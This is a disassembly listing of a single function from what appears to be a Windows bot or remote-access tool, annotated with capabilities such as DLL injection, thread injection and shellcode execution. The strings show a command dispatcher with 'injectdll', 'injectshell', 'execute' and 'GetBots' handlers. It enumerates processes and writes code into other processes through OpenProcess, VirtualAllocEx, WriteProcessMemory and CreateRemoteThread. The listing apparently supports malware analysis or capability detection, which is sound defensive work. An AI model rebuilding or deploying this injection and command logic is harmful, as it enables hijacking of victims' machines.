Function at 0x1400375b0
Capabilities:
Allocate or change rwx memory
Create thread
Delete file
Enumerate processes
Inject dll
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [0x1400e8180]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
mov rsi, rcx
mov qword [rsp + 0x40], rcx
mov qword [rbp], rcx
xor ebx, ebx
mov dword [rsp + 0x70], ebx
lea rcx, [rsp + 0x50]
call fcn.140057350
nop
lea r9d, [rbx + 6]
lea r8, str._user_
xor edx, edx
mov rcx, rax
call fcn.14002d980
mov qword [rbp + 8], rbx
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea r8d, [rbx + 2]
lea rdx, [0x1400cfcf4]
lea rcx, [rbp + 8]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x1400376af
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400376aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038fff
call fcn.140080f50
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400376fc
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400376f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039005
call fcn.140080f50
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
mov qword [rbp + 0x58], rbx
mov qword [rbp + 8], rbx
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], 0xf
mov rdi, qword [rbp + 0x70]
mov r8, rdi
cmp qword [rsi + 0x10], rdi
cmovb r8, qword [rsi + 0x10]
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140037735
mov rdx, qword [rsi]
lea rcx, [rbp + 8]
call fcn.1400218a0
mov r12d, 7
mov dword [rsp + 0x70], r12d
lea rdx, [rbp + 0x60]
mov r13, qword [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rdx, r13
lea rcx, [rbp + 8]
mov rbx, qword [rbp + 8]
mov r14, qword [rbp + 0x20]
cmp r14, 0x10
cmovae rcx, rbx
mov r8, qword [rbp + 0x18]
cmp r8, rdi
jne 0x140037785
call fcn.140088400
test eax, eax
jne 0x140037785
mov r15b, 1
jmp 0x140037788
xor r15b, r15b
cmp r14, 0x10
jb 0x1400377bf
lea rdx, [r14 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400377b7
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003900b
mov rcx, rbx
call fcn.140080f50
test r15b, r15b
je 0x140037b99
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x1400377d5
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rcx, [0x1400ec5f0]
call fcn.14002fa00
mov rcx, rax
call fcn.1400262c0
lea r9, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae r9, r13
mov rcx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140037807
mov rcx, qword [rsi]
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rdx, qword [rsi + 0x10]
call fcn.140027870
xor r13d, r13d
mov qword [rsp + 0x20], r13
lea r9, [0x1400cfb1b]
mov r8, rdi
mov rdx, rax
mov rcx, rsi
call fcn.140039740
cmp rsi, rax
je 0x140037853
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140037848
mov rax, qword [rax]
mov rdx, rax
mov rcx, rsi
call fcn.1400218a0
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140037860
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rcx, [0x1400ec5f0]
call fcn.14002fa00
mov rcx, rax
call fcn.1400262c0
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.1400373f0
mov rdi, rax
lea rax, [rbp + 0x48]
cmp rax, rdi
je 0x1400378ca
lea rcx, [rbp + 0x48]
call fcn.140020f40
mov rbx, qword [rdi]
mov qword [rbp + 0x48], rbx
mov r15, qword [rdi + 8]
mov qword [rbp + 0x50], r15
mov rcx, qword [rdi + 0x10]
mov qword [rbp + 0x58], rcx
mov qword [rdi], r13
mov qword [rdi + 8], r13
mov qword [rdi + 0x10], r13
jmp 0x1400378d2
mov r15, qword [rbp + 0x50]
mov rbx, qword [rbp + 0x48]
lea rcx, [rbp + 8]
call fcn.140020f40
sub r15, rbx
sar r15, 5
mov rdx, r15
call fcn.140039570
mov rcx, rax
call fcn.1400262c0
mov rsi, qword [rbx + 0x10]
mov rcx, rbx
mov rdi, rbx
mov r14, qword [rbx + 0x18]
cmp r14, 0x10
jb 0x140037909
mov rcx, qword [rbx]
cmp rsi, 9
jne 0x140037b02
mov r8, rsi
lea rdx, str.processes
call fcn.140088400
test eax, eax
jne 0x140037b02
mov qword [rbp + 8], r13
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], al
xor r8d, r8d
lea rdx, [0x1400cfb1b]
lea rcx, [rbp + 8]
call fcn.1400218a0
mov dword [rsp + 0x70], 0xf
xor edx, edx
lea ecx, [rsi - 7]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
test rax, rax
je 0x1400379f4
mov dword [rbp + 0xa0], 0x130
lea rdx, [rbp + 0xa0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1400379f4
mov rbx, 0xffffffffffffffff
nop dword [rax]
nop dword [rax + rax]
lea rax, [rbp + 0xcc]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400379b0
lea rdx, [rbp + 0xcc]
lea rcx, [rbp + 8]
call fcn.140021a00
mov r8d, 3
lea rdx, [0x1400d2a04]
lea rcx, [rbp + 8]
call fcn.140021a00
lea rdx, [rbp + 0xa0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400379a0
mov rcx, qword [rbp + 8]
mov rdx, qword [rbp + 0x20]
cmp qword [rbp + 0x18], 0
jne 0x140037a51
cmp dword [0x1400edeb8], 0
jne 0x140037a48
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
lea rcx, str.Error
call fcn.140056d50
jmp 0x140037abe
lea rdx, str.Error
jmp 0x140037aa1
lea rdi, [rbp + 8]
cmp rdx, 0x10
cmovae rdi, rcx
cmp dword [0x1400edeb8], 0
jne 0x140037a9e
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call fcn.140056d50
jmp 0x140037abe
mov rdx, rdi
lea rcx, [0x1400e9320]
cmp qword [0x1400e9338], 0x10
cmovae rcx, qword [0x1400e9320]
call fcn.140056a00
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140037b94
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037af8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039011
call fcn.140080f50
jmp 0x140037b94
mov rcx, rdi
cmp r14, 0x10
jb 0x140037b0e
mov rcx, qword [rbx]
cmp rsi, 9
jne 0x140037cad
mov r8, rsi
lea rdx, str.SetAsMain
call fcn.140088400
test eax, eax
jne 0x140037cad
lea rdx, [rbx + 0x20]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov rcx, rax
call fcn.140063b40
test al, al
je 0x140037ea6
cmp dword [0x1400edeb8], r13d
jne 0x140037c5d
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
lea rcx, str.successfully_20closed
call fcn.140056d50
mov rsi, qword [rsp + 0x40]
lea rcx, [rbp + 0x48]
call fcn.140020f40
nop
mov rax, qword [rbp + 0x78]
cmp rax, 0x10
jb 0x140037be0
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037bda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039017
call fcn.140080f50
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x140037c1a
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140037c15
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140038ff9
mov rcx, r8
call fcn.140080f50
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.140080f30
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [0x1400e9320]
cmp qword [0x1400e9338], 0x10
cmovae rcx, qword [0x1400e9320]
lea rdx, str.successfully_20closed
call fcn.140056a00
jmp 0x140037b94
lea rcx, [0x1400e9320]
cmp qword [0x1400e9338], 0x10
cmovae rcx, qword [0x1400e9320]
lea rdx, str.Error
call fcn.140056a00
jmp 0x140037b94
mov rcx, rdi
cmp r14, 0x10
jb 0x140037cb9
mov rcx, qword [rbx]
cmp rsi, 9
jne 0x140037cd6
mov r8, rsi
lea rdx, str.closeproc
call fcn.140088400
test eax, eax
je 0x140037b2f
mov rcx, rdi
cmp r14, 0x10
jb 0x140037ce2
mov rcx, qword [rbx]
cmp rsi, 9
jne 0x140037f15
mov r8, rsi
lea rdx, str.injectdll
call fcn.140088400
test eax, eax
jne 0x140037f15
lea rdi, [rbx + 0x40]
cmp qword [rdi + 0x18], 0x10
jb 0x140037d11
mov rdi, qword [rdi]
lea rdx, [rbx + 0x20]
cmp qword [rdx + 0x18], 0x10
jb 0x140037d1f
mov rdx, qword [rdx]
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 0xf
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], r13b
jne 0x140037d40
lea rcx, [rsp + 0x78]
call fcn.1400218a0
lea rcx, [rsp + 0x78]
call fcn.140063d00
test eax, eax
je 0x140037ea6
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x140037ea6
inc rbx
cmp byte [rdi + rbx], r13b
jne 0x140037da3
mov r9, rbx
mov qword [rsp + 0x20], r13
mov r8, rdi
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140037ea6
lea rcx, str.Kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x1400d4450]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140037ea6
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r14
mov r9, rax
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x140037ea6
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rbp - 8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x1400edeb8], r13d
jne 0x140037eed
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
lea rcx, str.Command_20Executed
jmp 0x140037b8f
cmp dword [0x1400edeb8], r13d
jne 0x140037c85
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
lea rcx, str.Error
jmp 0x140037b8f
lea rcx, [0x1400e9320]
cmp qword [0x1400e9338], 0x10
cmovae rcx, qword [0x1400e9320]
lea rdx, str.Command_20Executed
call fcn.140056a00
jmp 0x140037b94
mov rcx, rdi
cmp r14, 0x10
jb 0x140037f21
mov rcx, qword [rbx]
cmp rsi, r12
jne 0x1400381b8
mov r8, r12
lea rdx, str.execute
call fcn.140088400
test eax, eax
jne 0x1400381b8
lea rdx, str.came_here
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
mov qword [rbp + 8], r13
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], r13b
mov r14d, 1
mov esi, r14d
cmp r15, rsi
jbe 0x14003810c
add rdi, 0x20
movabs r13, 0x7fffffffffffffff
movzx ebx, byte [rsp + 0x48]
lea rdx, [0x1400d2104]
mov rcx, qword [rdi + 0x10]
mov rax, r13
sub rax, rcx
cmp rax, 1
jb 0x140039023
mov r9, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140037fbd
mov r9, qword [rdi]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, bl
lea rcx, [rbp + 0x28]
call fcn.14002d660
or r12d, 0x10
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae rdx, qword [rbp + 0x28]
mov r8, qword [rbp + 0x38]
lea rcx, [rbp + 8]
call fcn.140021a00
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x140038036
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038031
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003901d
call fcn.140080f50
inc esi
add rdi, 0x20
movsxd rax, esi
cmp rax, r15
jb 0x140037f95
cmp qword [rbp + 0x18], 0
je 0x14003810c
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 0x10
cmovae rcx, qword [rbp + 8]
call fcn.140099ad0
test eax, eax
je 0x1400380be
cmp dword [0x1400edeb8], 0
jne 0x1400380b2
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
lea rcx, str.Not_20Known_20Shellcode
call fcn.140056d50
jmp 0x140038175
lea rdx, str.Not_20Known_20Shellcode
jmp 0x140038158
cmp dword [0x1400edeb8], 0
jne 0x140038103
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
lea rcx, str.successfully_20executed
call fcn.140056d50
jmp 0x140038175
lea rdx, str.successfully_20executed
jmp 0x140038158
cmp dword [0x1400edeb8], 0
jne 0x140038151
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
lea rcx, str.Shellcode_Error
call fcn.140056d50
jmp 0x140038175
lea rdx, str.Shellcode_Error
lea rcx, [0x1400e9320]
cmp qword [0x1400e9338], 0x10
cmovae rcx, qword [0x1400e9320]
call fcn.140056a00
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140037b94
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037af8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038fd5
jmp 0x140037af8
mov rcx, rdi
cmp r14, 0x10
jb 0x1400381c4
mov rcx, qword [rbx]
cmp rsi, 0xb
jne 0x14003843b
mov r8, rsi
lea rdx, str.injectshell
call fcn.140088400
test eax, eax
jne 0x14003843b
lea rdx, [rbx + 0x20]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov rcx, rax
call fcn.140063d00
mov esi, eax
test eax, eax
je 0x1400383d0
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov rbx, rax
xor dil, dil
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rbx + 0x10]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
mov r8, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140038259
mov r8, qword [rbx]
mov qword [rsp + 0x20], r13
mov r9, qword [rbx + 0x10]
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400382a3
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9, r14
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
movzx edi, dil
mov r14d, 1
test rax, rax
cmovne edi, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400382e6
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400382e1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140039029
mov rcx, r8
call fcn.140080f50
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r13b
test dil, dil
je 0x140038365
cmp dword [0x1400edeb8], r13d
jne 0x14003833d
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
lea rcx, str.Shell_20Injected
jmp 0x140037b8f
lea rcx, [0x1400e9320]
cmp qword [0x1400e9338], 0x10
cmovae rcx, qword [0x1400e9320]
lea rdx, str.Shell_20Injected
call fcn.140056a00
jmp 0x140037b94
cmp dword [0x1400edeb8], r13d
jne 0x1400383a8
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
lea rcx, str.Unknown_20Error
jmp 0x140037b8f
lea rcx, [0x1400e9320]
cmp qword [0x1400e9338], 0x10
cmovae rcx, qword [0x1400e9320]
lea rdx, str.Unknown_20Error
call fcn.140056a00
jmp 0x140037b94
cmp dword [0x1400edeb8], r13d
jne 0x140038413
lea rbx, [0x1400e93c0]
cmp qword [0x1400e93d8], 0x10
cmovae rbx, qword [0x1400e93c0]
lea rdx, [0x1400e9400]
lea rcx, [rsp + 0x50]
call fcn.14001f140
mov r8, rbx
mov rdx, rax
lea rcx, str.Process_20Not_20Found
jmp 0x140037b8f
lea rcx, [0x1400e9320]
cmp qword [0x1400e9338], 0x10
cmovae rcx, qword [0x1400e9320]
lea rdx, str.Process_20Not_20Found
call fcn.140056a00
jmp 0x140037b94
mov rcx, rdi
cmp r14, 0x10
jb 0x140038447
mov rcx, qword [rbx]
cmp rsi, 0xd
jne 0x1400385ce
mov r8, rsi
lea rdx, str.executenosend
call fcn.140088400
test eax, eax
jne 0x1400385ce
mov qword [rbp + 8], r13
mov qword [rbp + 0x18], r13
mov eax, 0xf
mov qword [rbp + 0x20], rax
mov byte [rbp + 8], r13b
mov r14d, 1
mov esi, r14d
cmp r15, rsi
jbe 0x14003858e
add rdi, 0x20
movabs r13, 0x7fffffffffffffff
movzx ebx, byte [rsp + 0x48]
lea rdx, [0x1400d2104]
mov rcx, qword [rdi + 0x10]
mov rax, r13
sub rax, rcx
cmp rax, 1
jb 0x140039035
mov r9, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x1400384ca
mov r9, qword [rdi]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, bl
lea rcx, [rbp + 0x28]
call fcn.14002d660
or r12d, 0x20
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae rdx, qword [rbp + 0x28]
mov r8, qword [rbp + 0x38]
lea rcx, [rbp + 8]
call fcn.140021a00
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x140038543
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003853e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003902f
call fcn.140080f50
inc esi
add rdi, 0x20
movsxd rax, esi
cmp rax, r15
jb 0x1400384a2
cmp qword [rbp + 0x18], 0
je 0x14003858a
lea rdx, str.came_here
lea rcx, [0x1400ec5f0]
call fcn.140026050
mov rcx, rax
call fcn.1400262c0
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 0x10
cmovae rcx, qword [rbp + 8]
call fcn.140099ad0
mov rax, qword [rbp + 0x20]
cmp rax, 0x10
jb 0x140037b94
lea rdx, [rax + 1]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037af8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038fdb
jmp 0x140037af8
mov rcx, rdi
cmp r14, 0x10
jb 0x1400385da
mov rcx, qword [rbx]
cmp rsi, 9
jne 0x1400385f7
mov r8, rsi
lea rdx, str.SendClose
call fcn.140088400
test eax, eax
je 0x140037b94
mov rcx, rdi
cmp r14, 0x10
jb 0x140038603
mov rcx, qword [rbx]
cmp rsi, 8
jne 0x140038620
mov r8, rsi
lea rdx, str.SendOpen
call fcn.140088400
test eax, eax
je 0x140037b94
mov rax, rdi
cmp r14, 0x10
jb 0x14003862c
mov rax, qword [rbx]
cmp rsi, 2
jne 0x140038655
cmp byte [rax], 0x47
jne 0x140038642
cmp byte [rax + 1], 0x47
jne 0x140038642
mov eax, r13d
jmp 0x140038647
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140038655
call fcn.140045f70
jmp 0x140037b94
mov rcx, rdi
cmp r14, 0x10
jb 0x140038661
mov rcx, qword [rbx]
cmp rsi, r12
jne 0x140038a3c
mov r8, r12
lea rdx, str.GetBots
call fcn.140088400
test eax, eax
jne 0x140038a3c
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 0xf
mov byte [rbp + 0x28], r13b
lea r8d, [rax + 0xa]
lea rdx, str.Windows_10
lea rcx, [rbp + 0x28]
call fcn.1400218a0
nop
lea rcx, [rbp - 0x28]
call fcn.140057140
mov rbx, rax
lea rcx, [rbp - 0x48]
call fcn.140057350
nop
mov r9d, 6
lea r8, str.User:
xor edx, edx
mov rcx, rax
call fcn.14002d980
mov qword [rbp + 8], r13
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, r12
lea rdx, str._0AIp:
lea rcx, [rbp + 8]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r9, rbx
lea r8, [rsp + 0x50]
movzx edx, byte [rsp + 0x48]
lea rcx, [rsp + 0x78]
call fcn.140039af0
nop
mov r8, r12
lea rdx, str._0AIP:
lea rcx, [rsp + 0x78]
call fcn.140021a00
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x28]
lea r8, [rbp - 0x68]
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x80]
call fcn.140039af0
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x1400387d4
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400387ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003903b
call fcn.140080f50
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140038810
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003880b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039041
call fcn.140080f50
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14003885f
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038859
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039047
call fcn.140080f50
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x14003889a
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038895
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003904d
call fcn.140080f50
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x1400388e5
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400388e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039053
call fcn.140080f50
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140038930
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003892b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039059
call fcn.140080f50
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x40]
